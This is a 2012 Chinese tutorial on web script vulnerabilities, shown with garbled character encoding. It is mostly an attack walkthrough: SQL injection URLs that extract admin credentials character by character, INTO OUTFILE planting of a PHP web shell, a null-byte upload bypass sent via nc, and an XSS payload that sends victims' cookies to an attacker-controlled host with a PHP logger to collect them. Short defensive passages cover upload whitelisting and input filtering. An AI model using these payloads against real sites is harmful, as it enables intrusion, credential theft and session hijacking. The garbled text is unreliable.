SQL注入腳本漏洞的挖掘與防護(hù) |
| 發(fā)布時(shí)間: 2012/7/4 15:02:08 |
|
隨著網(wǎng)絡(luò)經(jīng)濟(jì)的復(fù)舒,開(kāi)始越來(lái)越多的網(wǎng)站涌現(xiàn)出來(lái),隨著腳本漏洞的挖掘,黑客也越來(lái)越猖狂,并且越來(lái)越低齡化和傻瓜化。“你只要會(huì)用一個(gè)工具就可以黑站”,這就是腳本漏洞利的特點(diǎn)。這些漏洞的主要成因是編程程序員的素質(zhì),往往在編寫(xiě)asp或php等程序時(shí)候?qū)ψ址倪^(guò)濾不嚴(yán)密,對(duì)注入漏洞不了解,或者某個(gè)參數(shù)忘記檢查導(dǎo)致的。 由于編寫(xiě)網(wǎng)頁(yè)程序這個(gè)行業(yè)的入門(mén)門(mén)檻不高,程序員的水平及經(jīng)驗(yàn)也參差不齊,相當(dāng)大一部分程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶(hù)輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。用戶(hù)可以提交一段數(shù)據(jù)庫(kù)查詢(xún)代碼,根據(jù)程序返回的結(jié)果,獲得某些他想得知的數(shù)據(jù),這就是所謂的SQL Injection,即SQL注入。 相當(dāng)大一部分程序員在編寫(xiě)代碼的時(shí)候,沒(méi)有對(duì)用戶(hù)輸入數(shù)據(jù)的合法性進(jìn)行判斷,使應(yīng)用程序存在安全隱患。我們看一個(gè)例子:在本機(jī)建一個(gè)基于iis的asp程序http://localhost/test/show.asp?ID=3,將這個(gè)網(wǎng)址提交到服務(wù)器后,服務(wù)器將進(jìn)行類(lèi)似Select * from 表名 where 字段="&ID的查詢(xún)(ID即客戶(hù)端提交的參數(shù),本例即是3),再將查詢(xún)結(jié)果返回給客戶(hù)端,如果這里客戶(hù)端故意提交這么一個(gè)網(wǎng)址:http://localhost/test/show.asp?ID=3 and user>0,這時(shí),服務(wù)器運(yùn)行Select * from 表名 where 字段=444 and user>0這樣的查詢(xún),當(dāng)然,這個(gè)語(yǔ)句是運(yùn)行不下去的,肯定出錯(cuò),錯(cuò)誤信息如下: ·錯(cuò)誤類(lèi)型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]將 nvarchar 值 ’test’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。 /test/show.asp, 第 34 行 從這個(gè)出錯(cuò)信息中,我們可以獲得以下信息:該站使用MSSQL數(shù)據(jù)庫(kù),用ODBC連接,連接帳號(hào)名為:test。所謂SQL注入,就是利用程序員對(duì)用戶(hù)輸入數(shù)據(jù)的合法性檢測(cè)不嚴(yán)或不檢測(cè)的特點(diǎn),故意從客戶(hù)端提交特殊的代碼,從而收集程序及服務(wù)器的信息,從而獲取想得到的資料。通常別有用心者的目標(biāo)是獲取網(wǎng)站管理員的帳號(hào)和密碼。比如當(dāng)知道網(wǎng)站管理員帳號(hào)存在表login中,管理員帳號(hào)名為admin 想知道admin的密碼,這里接著從客戶(hù)端提交這樣一個(gè)網(wǎng)址: http://localhost/test/show.asp?ID=4 and (Select password from login where user_name=’admin’)>0 返回的出錯(cuò)信息如下: ·錯(cuò)誤類(lèi)型: Microsoft OLE DB Provider for ODBC Drivers (0x80040E07) [Microsoft][ODBC SQL Server Driver][SQL Server]將 varchar 值 ’admin888’ 轉(zhuǎn)換為數(shù)據(jù)類(lèi)型為 int 的列時(shí)發(fā)生語(yǔ)法錯(cuò)誤。 /test/show.asp, 第 34 行 現(xiàn)在出來(lái)了“admin888”就是管理員的密碼!得到這個(gè)密碼,這時(shí)您就可以用這個(gè)帳號(hào)和密碼接管人家的網(wǎng)站了!當(dāng)然我們并不知道帳號(hào)就在表login中,而且也不知道管理員名為admin,但這些不容難辦到,我們可以寫(xiě)個(gè)工具進(jìn)行猜解,速度很快就可以找到你想要的東西了。前面是有關(guān)mssql數(shù)據(jù)庫(kù)的注入基礎(chǔ),我們?cè)倏匆豢碼cce數(shù)據(jù)庫(kù)的注入基礎(chǔ):首先進(jìn)行瀏覽器的設(shè)置,以保證手工注入時(shí)能返回出錯(cuò)信息。其操作步驟為:右鍵單擊瀏覽器圖標(biāo),選擇“屬性”,在彈出來(lái)的對(duì)話框中選擇“高級(jí)”選項(xiàng)卡,接著去掉“顯示友好的HTTP錯(cuò)誤信息”前面的鉤,最后點(diǎn)擊“應(yīng)用”按鈕即可。 對(duì)于sql注入得先找到注入點(diǎn),注入點(diǎn)的判斷方法為:通常打開(kāi)一個(gè)類(lèi)似http://wwww.xxxx.com/xxx.asp?id=xx的url后加個(gè)單引號(hào),變成http://ww.xxx.com/xxx.asp?id=xx’ 如果出現(xiàn)錯(cuò)誤提示,則說(shuō)明可能存在注入漏洞,再輸入http://www.xxx.com/xxx.asp?id=xx and 1=1如果存在SQL注入漏洞,就可以查詢(xún)數(shù)據(jù)庫(kù),1=1是一個(gè)恒等式可以忽略,因此會(huì)返回一個(gè)正常的頁(yè)面,此頁(yè)面和http://wwww.xxxx.com/xxx.asp?id=xx一樣,這時(shí)入侵者便判斷此站有希望被注入。如果返回的是一些錯(cuò)誤信息,那么一些初級(jí)的入侵者可能就會(huì)放棄這個(gè)站點(diǎn)。入侵者進(jìn)一步向?yàn)g覽器提交如下url: http://www.xxx.com/xxx.asp?id=xx and 1=2,1=2為一個(gè)恒不等式,如果該站點(diǎn)支持?jǐn)?shù)據(jù)庫(kù)查詢(xún),則大概會(huì)返回如下所示的信息: Microsoft vbscript 編譯器錯(cuò)誤 錯(cuò)誤碼率 ‘800a03f6’ 缺少’End’ /iishelp/common/500-100.asp,行242 ADODB.Field 錯(cuò)誤 ‘800a0bcd’ 一般出現(xiàn)以上信息就可以確定存在sql注入漏洞了。下面我們來(lái)看一下sql注入的過(guò)程分析: 如: 打開(kāi):http://hostlocal/test2/list.asp?id=17在其后面加'為http://hostlocal/test2/list.asp?id=17' 出錯(cuò)!顯示為:“數(shù)據(jù)庫(kù)出錯(cuò)”。那么接下來(lái)我們便進(jìn)行如下操作: 1 猜管理員帳號(hào)表。 2 猜相應(yīng)表中的用戶(hù)的字段名以及密碼的字段名。 3 猜出用戶(hù)名的長(zhǎng)度和密碼的長(zhǎng)度 4 猜出用戶(hù)和密碼 5 找到管理頁(yè)面進(jìn)入管理 猜管理員的表: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin)'//min(id)返回表中ID最小值 返回文章證明,有一個(gè)admin的表;如果沒(méi)有返回文章,證明出錯(cuò)不存在admin這個(gè)表。 猜用戶(hù)的字段名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where user='aaa')返回錯(cuò)誤信息,表示沒(méi)有user這個(gè)用戶(hù)段名 再來(lái)!~~~http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where username='aaa') 沒(méi)有返回錯(cuò)誤信息,又沒(méi)有返回文章,提示找不到文章。證明在admin中存在username個(gè)字段,只是用戶(hù)名不是aaa 猜密碼的字段名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where passwd='aaa')返回錯(cuò)誤信息表示沒(méi)有passwd這個(gè)密碼字段名。 再來(lái):http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where password=aaa')沒(méi)有返回錯(cuò)誤信息,又沒(méi)有返回文章,提示找不到文章。證明在admin中存在password這個(gè)字段,只是密碼不是aaa 猜用戶(hù)字段名長(zhǎng)度: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) >5) 正確 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username)<10) 正確 用戶(hù)名長(zhǎng)度大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(username) =7) 呵``` 用戶(hù)名長(zhǎng)度為7位 猜密碼長(zhǎng)度: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)>5) 正確 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)<10) 正確 密碼長(zhǎng)度也是大于5小于10 http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where len(password)=7) 呵``` 密碼長(zhǎng)度為7位 猜用戶(hù)名: http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,1,1)='a') 用戶(hù)名第一個(gè)字母是:a 猜用戶(hù)名第二位:http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(username,2,1)='b') 以此類(lèi)推! 猜密碼: 猜密碼跟猜用戶(hù)名一樣! http://hostlocal/test2/list.asp?id=17 and 1=(select min(id) from admin where mid(password,1,1)='a') 猜完后來(lái)到管理頁(yè)面: http://hostlocal/test2/admin.asp 登錄 接下來(lái)我簡(jiǎn)述一下對(duì)于php的注入攻擊: Php的環(huán)境一般是apache+php+mysql,平常配置服務(wù)器一般是打開(kāi)php.ini里的安全模式,將safe_mode設(shè)為on,還有就是將display_erors設(shè)為off,即關(guān)閉錯(cuò)誤顯示。還有一個(gè)非常重要的配置選項(xiàng)-----magic_quotes_gpc,高版本默認(rèn)為on,以前的版本中默認(rèn)為off。當(dāng)magic_quotes_gpc為on的時(shí)候我們?cè)趺捶婪秔hp的字符變量注入呢?其實(shí)只需將提交的變量中的所有單引號(hào)、雙引號(hào)、反斜線和空字告符自動(dòng)轉(zhuǎn)換為含有反斜線的轉(zhuǎn)義字符。如把“’”變成“\”,把“\”變成“\\”,就ok了。下面我們分為對(duì)magic_quotes_gpc=off和magic_quotes_gpc=on的注入清況分析一下。 我們先看一段有漏洞的php代碼,這段代碼是用來(lái)搜索的。 從上面代碼中我們可以看出,是一個(gè)搜索表單,通過(guò)post提交數(shù)據(jù),并進(jìn)行select查詢(xún),當(dāng)然要分析這些漏洞我們得先掌握php語(yǔ)言和mysql語(yǔ)法。如果我們從表單中提交%’ order by id#(#號(hào)在mysql中表示注釋?zhuān)粓?zhí)行后面的sql語(yǔ)句),或者用’ order by id#,帶入的sql語(yǔ)句就成了select * from user where username like ‘% %’ order by id# order by username 和 select * from users where’ order by id# order by username。這樣數(shù)據(jù)庫(kù)的內(nèi)容會(huì)全部返回,列出所有用戶(hù)名,還有密碼等。當(dāng)然還有update 語(yǔ)句注入攻擊、insert語(yǔ)句注入攻擊等,最常用的是union語(yǔ)法注入,采用into outfile語(yǔ)句導(dǎo)出php腳本木馬。 首先要清楚一些mysql語(yǔ)句,如mysql>select load_file(‘c:/boot.ini’)我們可以查看c盤(pán)下的boot.ini文件內(nèi)容,在有注入點(diǎn)的網(wǎng)址后面加入該查詢(xún)語(yǔ)句就可以顯示出黑客們想獲得的敏感信息,如查看數(shù)據(jù)庫(kù)的連接文件獲得數(shù)據(jù)庫(kù)帳號(hào),查看ect/password信息等。Select * from table into outfile "C:\\Inetpub\\wwwroot\\shell.php";也就是從表中導(dǎo)出字符串到C:\Inetpub\wwwroot\shell.php中,通常黑客們?cè)诘玫絤ysql帳號(hào)的情況下,利用create table rose(cmd text);建立一個(gè)rose表,字段cmd為text類(lèi)型,然后用use rose;打開(kāi)rose表,insert into rose values")加入一句話?cǎi)R到字段里。然后select * from rose into outfile "C:\\Inetpub\\wwwroot\\shell.php";將一句話木馬導(dǎo)出為一個(gè)shell.php文件,當(dāng)然這個(gè)shell.php中就包含懂php的都知道這句會(huì)造成什么后果,配合提交參數(shù),是可以執(zhí)行cmd命令和上傳php木馬的。 當(dāng)magic_quotes_gpc=on時(shí),提交變量中的所有單引號(hào)、雙引號(hào)、反斜線和空字符會(huì)自動(dòng)轉(zhuǎn)換為含有反斜線的轉(zhuǎn)義字符,字符型的注入可以防范,但數(shù)字型沒(méi)有用到單引號(hào),字符型注入也可以通過(guò)char()將參數(shù)解釋為整數(shù),并返回由這些整數(shù)的ASCII碼字符組成的一個(gè)字符串,也可以用16進(jìn)制來(lái)代替字符。例如:在瀏覽器里輸入http://localhost/www/admin/login.php?username=char(114,111,115,101)%23 上面假設(shè)的我們知道的用戶(hù)名是rose,轉(zhuǎn)換成ASCII后是char(114,111,115,101),%23是#號(hào) 表注釋。那么sql語(yǔ)句變成:select * from example where username==’’,后面的and password=’’被注釋掉了,我們順利進(jìn)入后臺(tái)。 在腳本漏洞中,除了sql注入漏洞外還存在很多腳本漏洞,如上傳漏洞、暴庫(kù)漏洞、跨站漏洞、權(quán)限提升漏洞,cookies欺騙漏洞等。 上傳漏洞:程序代碼對(duì)上傳過(guò)濾不嚴(yán)造成可以上傳擴(kuò)展名為asp或php的腳本文件,惡意用戶(hù)就利用這個(gè)漏洞上傳asp或php木馬直接危急網(wǎng)站及服務(wù)器。從2004年國(guó)內(nèi)上傳漏洞暴出導(dǎo)致一大片站點(diǎn)被黑,我們看一看原始的動(dòng)網(wǎng)上傳漏洞的原因。 在動(dòng)網(wǎng)的upfile.asp文件中有這么一句代碼: filename=formPath&year(now)&month(now)&day(now)&hour (now)&minute(now)&second(now)&ranNum&"."&fileExt,其中變量filename是要保存上傳頭像的文件名, fileExt是要保存文件的后綴。下面我們來(lái)看看判斷后綴的依據(jù)從何而來(lái)。 reg_upload.asp中部分代碼如下: <form name="form" method="post" action="upfile.asp" enctype="multipart/form-data" > <input type="hidden" name="filepath" value="uploadFace"> <input type="hidden" name="act" value="upload"> <input type="file" name="file1"> <input type="hidden" name="fname"> <input type="submit" name="Submit" value="上傳" onclick="fname.value=file1.value,parent.document.forms[0].Submit.disabled=true, parent.document.forms[0].Submit2.disabled=true;"> </form> 我們可以看到upfile.asp程序是提取file1表單和fname表單中的值來(lái)做文件后綴判斷的, file1和fname的值來(lái)源于客戶(hù)端,這給我們欺騙服務(wù)端的程序提供了可能。這里直接從頁(yè)面上遞交我們的ASP文件是行不通的。但是,如果我們自己構(gòu)造數(shù)據(jù)包就可以繞過(guò)服務(wù)端文件類(lèi)型的檢測(cè)了。而在這句 filename=formPath&year(now)&month(now)&day(now)&hour(now)&minute(now)&second(now)&ranNum&"."&fileExt,代碼中我們發(fā)現(xiàn),只要讓frompath變量做為一個(gè)已經(jīng)結(jié)束的字符串,那么后面的那些改變上傳文件名的函數(shù)就都不起作用了。在計(jì)算機(jī)中檢測(cè)字符串是否結(jié)束是通過(guò)檢測(cè)’/0’來(lái)實(shí)現(xiàn)的,只要發(fā)現(xiàn)了’/0’就認(rèn)為結(jié)束;也就是說(shuō)我們?cè)跇?gòu)造上傳文件保存路徑時(shí),只要欺騙計(jì)算機(jī),讓他認(rèn)為類(lèi)似 "uploadface/mm.asp"這樣的路徑參數(shù)已經(jīng)結(jié)束了,從而達(dá)到直接將文件保存為我們定義的文件名的目的。(其實(shí)upfile.asp判斷你上傳的頭像是否為asp后綴并不重要的,漏洞的關(guān)鍵就是一個(gè)formPath變量沒(méi)有過(guò)濾及截?cái)嗟膯?wèn)題。只要我們?cè)O(shè)定formPath的變量為“uploadface/xx.asp”這樣的值,再在這個(gè)值后加個(gè)00截?cái)嘧址涂梢粤。上傳的asp后綴沒(méi)有變化,只是因?yàn)槲覀儼裦ormPath的變量指定為了uploadface/xx.asp這種格式。file1、forame表單值只是判斷我們上傳的文件是否合法的jpg或gif后綴而已,而上傳asp文件的后綴指定不是因?yàn)檫@兩個(gè)。 黑客的攻擊手法就是通過(guò)注冊(cè)后上傳asp木馬(當(dāng)然失。,在上傳的同時(shí)進(jìn)行抓包,將抓的包保存在記事本中,修改包中的asp擴(kuò)展名為gif欺騙服務(wù)器,再修改包里增加文件的長(zhǎng)度,再修正空格為’/0’,然后用nc –vv 網(wǎng)站 80 <修改的文本.txt提交數(shù)據(jù)到服務(wù)器就成功上傳了一個(gè)腳本木馬。當(dāng)然后來(lái)網(wǎng)上寫(xiě)成了軟件提高了率效,如老兵上傳利工具等。對(duì)于上傳漏洞的防范,我們可以直接通過(guò)上傳組件進(jìn)行防范,如下: 這里以ASPUPLOAD組件上傳為例 以下是3個(gè)關(guān)鍵函數(shù): function killext(byval s1) ’去掉非法文件后綴 dim allowext allowext=".JPG,.JPEG,.GIF,.BMP,.PNG,.SWF,.RM,.MP3,.WAV,.MID,.MIDI,.R,. AVI,.MPG,.MPEG,.ASF,.ASX,.WMA,.MOV,.RAR,.ZIP,.EXE,.DOC,.XLS,.CHM,.HLP,.PDF" s1=ucase(s1) if len(s1)=0 then killext="" else if not chk(allowext,s1,",") then killext=".shit" else killext=s1 end if end if end function function chk(byval s1,byval s2,byval fuhao) ’檢查字符串包含 dim i,a chk=false a=split(s1,fuhao) for i = 0 to ubound(a) if trim(a(i))=trim(s2) then chk=true exit for end if next end function function gname(byval n1) ’以日期自動(dòng)產(chǎn)生目錄和文件名,參數(shù)1生成目錄,參數(shù)2生成文件名(無(wú)后綴) dim t,r t=now() randomize(timer) r=int((rnd+1-1)*9999) select case n1 case 1 gname=year(t)&right("00"&month(t),2)&right("00"&day(t),2) case 2 gname=right("00"&hour(t),2)&right("00"&minute(t),2)&right("00"&second(t),2)&right ("0000"&r,4) end select end function 調(diào)用方法: dim oup,ofile,ext,myfile Set oup = Server.CreateObject("Persits.Upload") oup.SetMaxSize 10000000, True call oup.Save() ’這里是上傳到服務(wù)器內(nèi)存,并沒(méi)有實(shí)際文件產(chǎn)生 set ofile = oup.files(1) ext=killext(ofile.ext) myfile="/" & ganme(1) & "/" & gname(2) & ext call ofile.saveas(server.mappath(myfile)) 當(dāng)然php程序也有部分存在上傳漏洞,如DISCUZ2.0論壇等。 下面我們來(lái)看一下暴庫(kù): 我們知道一個(gè)網(wǎng)站的數(shù)據(jù)都存放在數(shù)據(jù)庫(kù)里,包括管理員的用戶(hù)名和密碼,當(dāng)我們?nèi)〉煤罂梢灾苯釉诰W(wǎng)站的后臺(tái)登錄,然后通過(guò)欺騙上傳或備分?jǐn)?shù)據(jù)庫(kù)上傳的方法上傳一個(gè)asp木馬。常見(jiàn)的暴庫(kù)方法用conn.asp方法和%5c方法,通常要在ie選項(xiàng)的高級(jí)設(shè)置中去掉“顯示友好http錯(cuò)誤”選項(xiàng)的勾。 Conn.asp暴庫(kù)方法:大多網(wǎng)站都采用conn.asp作為網(wǎng)站的數(shù)據(jù)庫(kù)連接文件,通常黑客們采用直接訪問(wèn)conn.asp使服務(wù)器產(chǎn)生錯(cuò)誤暴出路徑,但這種漏洞已很少存在。%5c是一個(gè)精典的暴庫(kù)方法,通常把網(wǎng)站有數(shù)據(jù)庫(kù)連接的網(wǎng)址(通常是二級(jí)目錄下)的最后一個(gè)“/”改為“%5c”,即可暴出數(shù)據(jù)庫(kù)。原理就是%5c是16進(jìn)制中的“\”,ie通常遇到“%5c”是不會(huì)轉(zhuǎn)換的,當(dāng)iis遇到%5c,即認(rèn)為是“\”時(shí),iis就以為遇到了一個(gè)虛擬目錄便停止解析,而暴出數(shù)據(jù)庫(kù)的路徑。 對(duì)暴庫(kù)的防范,首先在conn.asp中加入容錯(cuò)語(yǔ)句,對(duì)于上傳上去的數(shù)據(jù)庫(kù)要進(jìn)行加密,數(shù)據(jù)庫(kù)中的密碼也要采取md5加密,在數(shù)據(jù)庫(kù)名中加入#號(hào),將數(shù)據(jù)庫(kù)后綴改為asp等。 跨站漏洞: 漏洞成因:是因?yàn)镃GI程序沒(méi)有對(duì)用戶(hù)提交的變量中的HTML代碼進(jìn)行過(guò)濾或轉(zhuǎn)換。主要危害有:獲取其他用戶(hù)Cookie中的敏感數(shù)據(jù)和掛馬 例如: 1. 進(jìn)入首頁(yè)http://localhost 2. 輸入用戶(hù)名“<h1>”,提交,發(fā)現(xiàn)服務(wù)器返回信息中包含了用戶(hù)提交的“<h1>”。 3. 分析抓包數(shù)據(jù),得到實(shí)際請(qǐng)求: http://localhost/test/login/login.pl?username=<h1>&passwd=&ok.x=28&ok.y=6 4. 構(gòu)造一個(gè)提交,目標(biāo)是能夠顯示用戶(hù)Cookie信息: http://localhost/test//login/login.pl?username=<script>alert(document.cookie)</ script>&passwd=&ok.x=28&ok.y=6 5. 如果上面的請(qǐng)求獲得預(yù)期的效果,那么我們就可以嘗試下面的請(qǐng)求: http://localhost/test/login/login.pl?username=<script>window.open("http://www.xxx.com/ info.php?"%2Bdocument.cookie)</script>&passwd=&ok.x=28&ok.y=6 其中http://www.xxx.com/info.php是你能夠控制的某臺(tái)主機(jī)上的一個(gè)腳本,功能是獲取查詢(xún)字符串的信 息,內(nèi)容如下: <?php $info = getenv("QUERY_STRING"); if ($info) { $fp = fopen("info.txt","a"); fwrite($fp,$info."\n"); fclose($fp); } header("Location: http://localhostt"); 注:“%2B”為“+”的URL編碼,并且這里只能用“%2B”,因?yàn)?ldquo;+”將被作為空格處理。后面的header語(yǔ) 句則純粹是為了增加隱蔽性。 當(dāng)然跨站還有多種攻擊形式,如誘使網(wǎng)站管理員查看圖片建立管理員帳號(hào),跳轉(zhuǎn)窗口到網(wǎng)馬地址,利用cookies欺騙登錄后臺(tái)等。 防范方法: 過(guò)濾或轉(zhuǎn)換用戶(hù)提交數(shù)據(jù)中的HTML代碼 2. 限制用戶(hù)提交數(shù)據(jù)的長(zhǎng)度 3. 不要輕易訪問(wèn)別人給你的鏈接 4. 禁止瀏覽器運(yùn)行JavaScript和ActiveX代碼 還有權(quán)限提升漏洞,cookies欺騙漏洞等多種腳本漏洞 本文出自:億恩科技【www.xuefeilisp.com】 服務(wù)器租用/服務(wù)器托管中國(guó)五強(qiáng)!虛擬主機(jī)域名注冊(cè)頂級(jí)提供商!15年品質(zhì)保障!--億恩科技[ENKJ.COM] |
京公網(wǎng)安備41019702002023號(hào)